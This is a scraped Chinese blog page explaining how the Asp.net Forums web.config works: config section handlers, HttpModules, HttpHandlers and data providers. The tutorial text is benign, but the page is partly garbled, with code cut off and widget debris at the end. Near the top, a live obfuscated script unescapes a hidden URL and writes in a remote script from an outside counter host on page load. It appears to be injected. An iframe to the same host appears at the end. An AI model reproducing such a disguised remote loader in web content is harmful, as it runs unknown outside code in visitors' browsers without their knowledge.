Asp.net Forums 论坛web.config文件详解

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
Asp.net Forums 论坛web.config文件详解


li>
cary:
StoreProcedure 提供参数时,报错










上一篇: ASP.NET Web 服务还是 .NET Remoting:如何选择
 | 
下一篇: 探索ASP.NET Forum皮肤主题的更换

function StorePage(){d=document;t=d.selection?(d.selection.type!='None'?d.selection.createRange().text:''):(d.getSelection?d.getSelection():'');void(keyit=window.open('http://www.365key.com/storeit.aspx?t='+escape(d.title)+'&u='+escape(d.location.href)+'&c='+escape(t),'keyit','scrollbars=no,width=475,height=575,left=75,top=20,status=no,resizable=yes'));keyit.focus();}


 Asp.net Forums 论坛web.config文件详解



<configSections>
  <!-- Initialize the AspNetForums Configuration Handler  -->
  <sectionGroup name="forums">
   <section name="forums" type="AspNetForums.Configuration.ForumsConfigurationHandler, AspNetForums.Components" />
  </sectionGroup>
 </configSections>
里定义了一个配置节处理程序声明(Section),按照规定它们必须出现在配置文件顶部 <configSections> 和 </configSections> 标记之间,在这里,它们只用到了name和type属性,其中,name属性定义了指定配置节的名称,而type属性则规定了指定从配置文件中读取节的配置节处理程序类的名称,有两个部分,前面为处理程序的类名,后面为Assembly名(Assembly必须位于bin目录中)以及版本号,公匙等信息。 
   他们具体表示什么意思呢?比如第一个section,意思就是告诉Asp.Net系统,当在程序中使用System.Configuration.ConfigurationSettings.GetConfig("forums/forums")这个静态方法来读取ApplicationConfiguration配置节的时候,会调用AspNetForums.Configuration.ForumsConfigurationHandler这个类来对这个配置节进行处理
system.web 节 呵,所有asp.net程序都有的这里特别注意的是
 <httpModules>
   <add name="AspNetForums" type="AspNetForums.ForumsHttpModule, AspNetForums.Components" />
  </httpModules>
  <httpHandlers>
   <add verb="GET" path="avatar.aspx" type="AspNetForums.Components.HttpHandler.AvatarHttpHandler, AspNetForums.Components" />
   <add verb="GET" path="vcard.aspx" type="AspNetForums.Components.HttpHandler.VCardHttpHandler, AspNetForums.Components" />
  </httpHandlers>
 当向IIS发出请求时,IIS会把请求转交给asp.net HTTP管道 ,HTTP管道入口是HttpRuntime类的实体 。hTTPRuntime 类实体从内部程序池中选择一个HttpApplication 对像,并且在接收到新的请求时使它工作。Http应用管道程序的主要工作是寻找这样的类实体(处理句柄)使它处理相应的请求。
比如*.aspx通过PageHandlerFactory句柄处理. 实现IIS里的文件后缀名映射功能.
IIS asp.net 处理请求示意图
          客户端请求
                  |
                  |
                 IIS   //交给IIS
                  |
                  |
           W3WP.exe   //asp.net处理进
                  |
                  |                //HttpRuntime  可以理解当前处理实例 
          HttpAppliction  ---------------HttpModule
                  |
                  |
          HttpHandler
IHttpHandler实现了对IIS输入输出的管理和扩展 ,HttpModule接管所有输入输出,查找相符的请求进行处理。
   
 <httpHandlers>节 verd属性,请求类型 可以是get,put,post的任意组合用逗号分隔
path 要处理的程序路径 ,可以是单个URL或通配符
type 实现IhttpHandler的类型
  当向该论坛发出请求时执行顺序如下:
      System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously)
 System.Web.SyncEventExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute()
AspNetForums.ForumsHttpModule.Application_BeginRequest(Object source, EventArgs e)    //从这里开始交给自写义的HttpModule
 <httpModules>
   <add name="AspNetForums" type="AspNetForums.ForumsHttpModule, AspNetForums.Components" />
  </httpModules>
   http请求会被AspNetForums.ForumsHttpModule接管 ,查看此类型
  其实aspnetforum的初始化工作也是从这里开始的 
  该类型定义
 public class ForumsHttpModule : IHttpModule
 实现 IHttpModule接口  
该接口要实现Init()和Dispose()二个方法
 Init方法中声时的事件:
application.BeginRequest += new EventHandler(this.Application_BeginRequest);
  .............................
当第一个请求时:
事件处理:
 private void Application_BeginRequest(Object source, EventArgs e) {
   
   try {
    HttpApplication application = (HttpApplication)source;
    HttpContext context = application.Context;
    if( application == null
     || context  == null )
     return;
    // Url Rewriting
    //
    RewriteUrl(context);
    // Create the forum context
    //封装自定义的Context
    context.Items.Add("ForumContext", new ForumContext());
    // Capture any pingback information
    //
    CaptureForumPingback();
    // Are the forums disabled?
    //检查是否开启论坛和当前请求是否在本机运行
    if ((Globals.GetSiteSettings().ForumsDisabled) && (HttpContext.Current.Request.Url.Host != "localhost"))  {
  //调用GetConfig()方法
  该方法返回实例化一个ForumConfiguration返回
   当调用 ConfigurationSettings.GetConfig("forums/forums");
 会在配置节查找 <sectionGroup name="forums">
   <section name="forums" type="AspNetForums.Configuration.ForumsConfigurationHandler, AspNetForums.Components" />
  </sectionGroup>
 找到处理类型 
AspNetForums.Configuration.ForumsConfigurationHandler
通过该类型处理
<forums><forums
   defaultProvider="SqlForumsProvider"
   defaultLanguage="zh-CN"
   forumFilesPath="/"
   disableEmail="true"
   disableIndexing="true"
   disableThreading="true"
   threadIntervalStats="15"
   threadIntervalEmail="3"
   passwordEncodingFormat="unicode"
   allowAutoUserRegistration="false"
   adminWindowsGroup="Administrators"
   assignLocalAdminsAdminRole="false"
   smtpServerConnectionLimit="-1"
   enableLatestVersionCheck="false"
   uploadFilesPath="/Upload/"
  >
   <providers>
    <clear/>
 
    <add
     name = "SqlForumsProvider"
     type = "AspNetForums.Data.SqlDataProvider, AspNetForums.SqlDataProvider"
     connectionString = ""
     databaseOwner = "dbo"
    />
   </providers>
  </forums>
 </forums>
 节点,来设置
    ForumConfiguration 类型实例  
 相当于
  ForumConfiguration fc =new ForumConfiguration();
  fc.LoadValuesFromConfigurationXml(node); 
node 是设置节节点 
  
  这里初始化工作已经基本完成 :)
    
<providers>
    <clear/>
    <add
     name = "SqlAccountProvider"
     type = "Account.Framework.Data.SqlDataProvider, Account.Framework"
     connectionString = ""
     databaseOwner = "dbo"
    />
   </providers>
 
name设置缓存中数据处理类型键  ,Account.Framework.Data.SqlDataProvider数据类型
呵,这个非常灵话 
 比如需要实现一个Access数据库版本的 ,那么程序不用做任何改动 重写一个Account.Framework.Data.OledbDataProvider 类型,继承
ForumsDataProvider方法就可以了
 

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值